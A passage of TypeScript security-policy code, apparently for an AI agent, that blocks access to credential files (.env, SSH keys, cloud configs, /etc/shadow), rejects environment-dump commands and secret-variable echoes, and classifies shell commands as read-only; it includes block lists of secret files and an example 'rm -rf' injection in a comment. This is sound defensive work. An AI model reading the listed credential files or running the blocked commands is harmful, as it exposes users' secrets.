对读取无意义\n '/dev/stdout',\n '/dev/stderr',\n // stdio fd 别名\n '/dev/fd/0',\n '/dev/fd/1',\n '/dev/fd/2',\n]);\n\n/**\n * 检测路径是否为被阻止的设备文件(含 Linux /proc/ fd 别名)。\n */\nexport function isBlockedDevicePath(filePath: string): boolean {\n if (BLOCKED_DEVICE_PATHS.has(filePath)) return true;\n // /proc/self/fd/0-2 和 /proc/<pid>/fd/0-2 是 Linux 的 stdio 别名\n if (\n filePath.startsWith('/proc/') &&\n (filePath.endsWith('/fd/0') || filePath.endsWith('/fd/1') || filePath.endsWith('/fd/2'))\n ) return true;\n return false;\n}\n\n// ── 文件大小限制──────────────\n\n/** 读取文件最大字节数(256 MiB),防止 OOM */\nexport const MAX_READ_FILE_SIZE = 256 * 1024 * 1024;\n/** 编辑文件最大字节数(1 GiB),防止 V8 字符串长度溢出 */\nexport const MAX_EDIT_FILE_SIZE = 1024 * 1024 * 1024;\n\n// ── 敏感文件名模式 ──────────────────────────────────────────────────\n\n/**\n * 匹配文件基名(不含目录)的敏感模式。\n * 大小写不敏感匹配。\n */\nconst SENSITIVE_BASENAME_PATTERNS: RegExp[] = [\n // 环境变量文件\n /^\\.env(\\..*)?$/i, \n /^\\.zhin\\.config(\\..*)?$/i, // .env, .env.local, .env.production 等\n // 密钥 / 证书\n /\\.pem$/i,\n /\\.key$/i,\n /\\.p12$/i,\n /\\.pfx$/i,\n /\\.jks$/i,\n /\\.keystore$/i,\n /^id_rsa$/i,\n /^id_ed25519$/i,\n /^id_ecdsa$/i,\n /^id_dsa$/i,\n // 凭据文件\n /^\\.npmrc$/i,\n /^\\.pypirc$/i,\n /^\\.netrc$/i,\n /^config\\.json$/i, // docker/config.json, gcloud/config.json etc.\n /^credentials$/i,\n /^credentials\\.json$/i,\n /^service[_-]?account.*\\.json$/i,\n /^token\\.json$/i,\n // Cloud provider credentials\n /^kubeconfig(\\..+)?$/i,\n /^application_default_credentials\\.json$/i,\n /^google-cloud-key\\.json$/i,\n // 数据库 / 密码文件\n /^\\.pgpass$/i,\n /^\\.my\\.cnf$/i,\n /^\\.passwd$/i,\n // 历史文件(可能含输入的密码等)\n /^\\.bash_history$/i,\n /^\\.zsh_history$/i,\n /^\\.node_repl_history$/i,\n /^\\.python_history$/i,\n];\n\n/**\n * 被完全禁止访问的目录名(在路径中任何位置出现即拦截)。\n * 注意:工作区 data/ 不走这里 — 它锚定工作区根判断(见 checkFileAccess),\n * 避免误伤 src/data/fixtures 之类的普通目录。\n */\nconst SENSITIVE_DIR_NAMES: ReadonlySet<string> = new Set([\n '.zhin',\n '.ssh',\n '.gnupg',\n '.gpg',\n '.aws',\n '.azure',\n '.gcloud',\n '.config/gcloud',\n '.kube',\n '.docker',\n '.password-store',\n]);\n\n/**\n * 被禁止访问的绝对路径前缀(系统级敏感目录)。\n */\nconst SENSITIVE_PATH_PREFIXES: string[] = [\n '/etc/shadow',\n '/etc/gshadow',\n '/etc/ssl/private',\n];\n\n// ── 核心检查函数 ────────────────────────────────────────────────────\n\nexport interface FileAccessCheckResult {\n allowed: boolean;\n reason?: string;\n}\n\nfunction expandHome(filePath: string): string {\n return filePath.replace(/^~(?=$|[\\\\/])/, os.homedir());\n}\n\nfunction normalizePathSeparators(filePath: string): string {\n return filePath.replace(/\\\\/g, '/');\n}\n\nfunction getPolicyPathCandidates(filePath: string): string[] {\n const expanded = expandHome(filePath);\n const raw = normalizePathSeparators(expanded);\n const resolved = normalizePathSeparators(path.resolve(expanded));\n return [...new Set([raw, resolved])];\n}\n\n/**\n * 是否为项目 data/memory 下的三层记忆路径(允许读写,仍受敏感文件名规则约束)。\n */\nexport function isMemoryDataPath(filePath: string, workspaceDir?: string): boolean {\n const cwd = path.resolve(workspaceDir ?? process.cwd());\n const memoryRoot = path.join(cwd, 'data', 'memory');\n const expanded = expandHome(filePath);\n const resolved = path.isAbsolute(expanded) ? path.resolve(expanded) : path.resolve(cwd, expanded);\n const relative = path.relative(memoryRoot, resolved);\n if (relative === '' || relative === '..' || relative.startsWith(`..${path.sep}`) || path.isAbsolute(relative)) {\n return false;\n }\n const [layer] = relative.split(path.sep);\n return layer === 'global' || layer === 'platforms' || layer === 'sessions';\n}\n\n/** data/media 下 inbound/outbound 媒体缓存(允许读写,仍受敏感文件名规则约束) */\nexport function isMediaDataPath(filePath: string, workspaceDir?: string): boolean {\n const cwd = workspaceDir || process.cwd();\n const resolved = path.resolve(expandHome(filePath));\n const normalized = resolved.split(path.sep).join('/');\n const mediaRoot = path.resolve(cwd, 'data', 'media');\n if (resolved === mediaRoot || resolved.startsWith(mediaRoot + path.sep)) {\n return true;\n }\n return normalized.includes('/data/media/');\n}\n\n/**\n * 检查文件路径是否允许被 AI Agent 访问。\n * 该函数只做「阻止明确敏感文件」的检查,不做正向白名单。\n */\nexport function checkFileAccess(filePath: string, workspaceDir?: string): FileAccessCheckResult {\n // 解析为绝对路径\n const resolved = path.resolve(expandHome(filePath));\n const basename = path.basename(resolved);\n const normalizedCandidates = getPolicyPathCandidates(filePath);\n const underMemoryData = isMemoryDataPath(resolved, workspaceDir);\n const underMediaData = isMediaDataPath(resolved, workspaceDir);\n\n // 1. 检查敏感路径前缀\n for (const prefix of SENSITIVE_PATH_PREFIXES) {\n if (normalizedCandidates.some(candidate => candidate.startsWith(prefix))) {\n const result = { allowed: false, reason: `拒绝访问系统敏感文件: ${prefix}` };\n\n return result;\n }\n }\n\n // 2. 检查敏感目录\n const parts = normalizePathSeparators(resolved).split('/');\n for (let i = 0; i < parts.length; i++) {\n if (SENSITIVE_DIR_NAMES.has(parts[i])) {\n const result = { allowed: false, reason: `拒绝访问敏感目录: ${parts[i]}` };\n\n return result;\n }\n // 对多级目录名做拼接检查(如 .config/gcloud)\n if (i > 0) {\n const twoLevel = `${parts[i - 1]}/${parts[i]}`;\n if (SENSITIVE_DIR_NAMES.has(twoLevel)) {\n const result = { allowed: false, reason: `拒绝访问敏感目录: ${twoLevel}` };\n\n return result;\n }\n }\n }\n\n // 2b. 工作区根 data/ 目录(锚定工作区根,豁免 memory/media 子树;\n // 其他位置的 data 目录如 src/data/fixtures 不受影响)\n const workspaceDataRoot = path.resolve(workspaceDir || process.cwd(), 'data');\n if (\n (resolved === workspaceDataRoot || resolved.startsWith(workspaceDataRoot + path.sep))\n && !underMemoryData\n && !underMediaData\n ) {\n const result = { allowed: false, reason: '拒绝访问敏感目录: data' };\n\n return result;\n }\n\n // 3. 检查敏感文件名\n for (const pattern of SENSITIVE_BASENAME_PATTERNS) {\n if (pattern.test(basename)) {\n const result = { allowed: false, reason: `拒绝访问敏感文件: ${basename} 可能包含密钥或凭据` };\n\n return result;\n }\n }\n\n return { allowed: true };\n}\n\n/**\n * 检查文件路径,若不允许则抛出 Error。\n * 用于在工具 execute 中调用。\n */\nexport function assertFileAccess(filePath: string): void {\n const result = checkFileAccess(filePath);\n if (!result.allowed) {\n throw new Error(result.reason!);\n }\n}\n\n// ── bash 输出敏感信息过滤 ───────────────────────────────────────────\n\n/**\n * 用于检测 bash 命令是否意图泄漏环境变量的模式。\n * 匹配命令开头(支持管道前的部分)。\n */\nconst ENV_DUMP_COMMANDS = /^\\s*(env|printenv|export|set)\\b/;\nconst ENV_ECHO_PATTERN = /\\$\\{?\\w*(KEY|SECRET|TOKEN|PASSWORD|PASS|CREDENTIAL|AUTH|APIKEY|API_KEY)\\w*\\}?/i;\nfunction splitPipeSegments(command: string): string[] {\n const parts: string[] = [];\n let current = '';\n for (let i = 0; i < command.length; i++) {\n if (command[i] === '|' && command[i + 1] !== '|') {\n const seg = current.trim();\n if (seg) parts.push(seg);\n current = '';\n continue;\n }\n current += command[i];\n }\n const tail = current.trim();\n if (tail) parts.push(tail);\n return parts;\n}\n\n/**\n * 构建 ripgrep/grep 排除敏感路径的 glob(防止从项目根搜索时泄漏 .env 等)。\n */\nexport function buildSensitiveSearchExcludeGlobs(): string[] {\n return [\n '!**/.env',\n '!**/.env.*',\n '!**/*.pem',\n '!**/*.key',\n '!**/*.p12',\n '!**/*.pfx',\n '!**/.npmrc',\n '!**/.netrc',\n '!**/.pgpass',\n '!**/.my.cnf',\n '!**/.bash_history',\n '!**/.zsh_history',\n '!**/.ssh/**',\n '!**/.gnupg/**',\n '!**/.aws/**',\n '!**/.kube/**',\n '!**/.docker/**',\n '!**/.gcloud/**',\n '!**/.config/gcloud/**',\n ];\n}\n\nfunction splitShellOperatorParts(command: string): string[] {\n const parts: string[] = [];\n let current = '';\n let i = 0;\n while (i < command.length) {\n // 换行也是命令分隔符 — 防止 `cat a.txt\\nrm -rf x` 这类换行夹带绕过\n if (\n command.startsWith('&&', i) || command.startsWith('||', i) ||\n command[i] === ';' || command[i] === '|' || command[i] === '\\n' || command[i] === '\\r'\n ) {\n const trimmed = current.trim();\n if (trimmed) parts.push(trimmed);\n current = '';\n if (command.startsWith('&&', i)) i += 2;\n else if (command.startsWith('||', i)) i += 2;\n else i += 1;\n while (i < command.length && /\\s/.test(command[i])) i++;\n continue;\n }\n current += command[i];\n i++;\n }\n const tail = current.trim();\n if (tail) parts.push(tail);\n return parts;\n}\n\n/**\n * 检查 bash 命令是否可能泄漏敏感环境变量或文件。\n * 返回 { safe: true } 或 { safe: false, reason: string }。\n */\nexport function checkBashCommandSafety(command: string): { safe: boolean; reason?: string } {\n const trimmed = command.trim();\n\n // 按复合运算符(&&/||/;/|/换行)拆段,逐段检查 — 防止 `echo ok && printenv` 绕过\n const segments = splitShellOperatorParts(trimmed);\n for (const seg of segments) {\n if (ENV_DUMP_COMMANDS.test(seg)) {\n return { safe: false, reason: '禁止执行环境变量导出命令(env/printenv/export/set),可能泄漏密钥' };\n }\n }\n\n if (ENV_ECHO_PATTERN.test(trimmed)) {\n return { safe: false, reason: '禁止通过 echo/printf 输出含密钥名的环境变量' };\n }\n\n return { safe: true };\n}\n\n// ── bash 命令读写分类──────────────\n\n/** 搜索类命令 */\nconst BASH_SEARCH_COMMANDS: ReadonlySet<string> = new Set([\n 'find', 'grep', 'rg', 'ag', 'ack', 'locate', 'which', 'whereis',\n]);\n\n/** 读取/查看类命令 */\nconst BASH_READ_COMMANDS: ReadonlySet<string> = new Set([\n 'cat', 'head', 'tail', 'less', 'more', 'wc', 'stat', 'file', 'strings',\n 'jq', 'awk', 'cut', 'sort', 'uniq', 'tr',\n]);\n\n/**\n * 从 bash 只读命令中提取可能的目标文件路径(不含 flag)。\n */\nexport function extractBashReadPaths(command: string): string[] {\n const paths: string[] = [];\n for (const part of splitShellOperatorParts(command.trim())) {\n for (const segment of splitPipeSegments(part)) {\n const tokens = segment.trim().split(/\\s+/);\n const baseCmd = tokens[0];\n if (!baseCmd || !BASH_READ_COMMANDS.has(baseCmd)) continue;\n for (let i = 1; i < tokens.length; i++) {\n const tok = tokens[i];\n if (!tok || tok.startsWith('-')) continue;\n if (tok === '|' || tok === '&&' || tok === '||' || tok === ';') break;\n paths.push(tok);\n }\n }\n }\n return paths;\n}\n\n/** 目录列出类命令 */\nconst BASH_LIST_COMMANDS: ReadonlySet<string> = new Set([\n 'ls', 'tree', 'du',\n]);\n\n/** 语义中性命令 — 纯输出/状态命令,不影响管道是否只读 */\nconst BASH_NEUTRAL_COMMANDS: ReadonlySet<string> = new Set([\n 'echo', 'printf', 'true', 'false', ':',\n]);\n\nexport interface BashCommandClassification {\n /** 是否为搜索命令 */\n isSearch: boolean;\n /** 是否为读取命令 */\n isRead: boolean;\n /** 是否为列出命令 */\n isList: boolean;\n /** 综合判断:命令是否只读(搜索/读取/列出) */\n isReadOnly: boolean;\n}\n\n/**\n * 对 bash 命令进行读/写分类。\n *\n * 对管道命令(如 `cat file | grep pattern`),所有非中性部分\n * 都必须是搜索/读/列出类,整条命令才算只读。\n *\n */\nexport function classifyBashCommand(command: string): BashCommandClassification {\n const trimmed = command.trim();\n const parts = splitShellOperatorParts(trimmed);\n\n let hasSearch = false;\n let hasRead = false;\n let hasList = false;\n let hasNonNeutral = false;\n\n for (const part of parts) {\n const baseCmd = part.trim().split(/\\s+/)[0];\n if (!baseCmd) continue;\n\n // 跳过中性命令\n if (BASH_NEUTRAL_COMMANDS.has(baseCmd)) continue;\n\n hasNonNeutral = true;\n if (BASH_SEARCH_COMMANDS.has(baseCmd)) hasSearch = true;\n else if (BASH_READ_COMMANDS.has(baseCmd)) hasRead = true;\n else if (BASH_LIST_COMMANDS.has(baseCmd)) hasList = true;\n else {\n // 包含非只读命令 → 整条命令不是只读\n return { isSearch: false, isRead: false, isList: false, isReadOnly: false };\n }\n }\n\n // 全部中性命令(如 echo \"hi\")— 视为只读\n if (!hasNonNeutral) {\n return { isSearch: false, isRead: false, isList: false, isReadOnly: true };\n }\n\n return {\n isSearch: hasSearch,\n isRead: hasRead,\n isList: hasList,\n isReadOnly: hasSearch || hasRead || hasList,\n };\n}\n\n// ── 文件 mtime 比对──────────────\n\n/**\n * 文件修改时间快照,用于检测编辑前是否被并发修改。\n */\nexport async function getFileMtime(filePath: string): Promise<number> {\n const { default: fsPromises } = await import('fs/promises');\n const stat = await fsPromises.stat(filePath);\n return stat.mtimeMs;\n}\n\n/**\n * 检查文件在读取后是否被修改。\n * @returns true 表示文件已被修改(stale),应中止编辑\n */\nexport function isFileStale(savedMtime: number, currentMtime: number): boolean {\n // 允许 1ms 的精度误差\n return Math.abs(currentMtime - savedMtime) > 1;\n}\n\n// ── 命令参数转义 ────────────────────────────────────────────────────\n\n/**\n * 安全地转义 shell 参数,防止命令注入。\n * 用单引号包裹,内部单引号用 '\\'' 转义。\n */\nexport function shellEscape(arg: string): string {\n return \"'\" + arg.replace(/'/g, \"'\\\\''\") + \"'\";\n}\n"]}
@@ -108,4 +108,3 @@ export declare function formatFilePermissionMessage(result: FilePermissionResult
108
108
  * 执行层只消费 composition root 写入 Message.sender 的 isMaster/isTrusted 快照;群聊 User 行前缀仅供模型辨认发言者。
109
109
  */
110
110
  export declare function buildSenderRolesFilePermissionsPrompt(): string;
111
- //# sourceMappingURL=file-role-policy.d.ts.map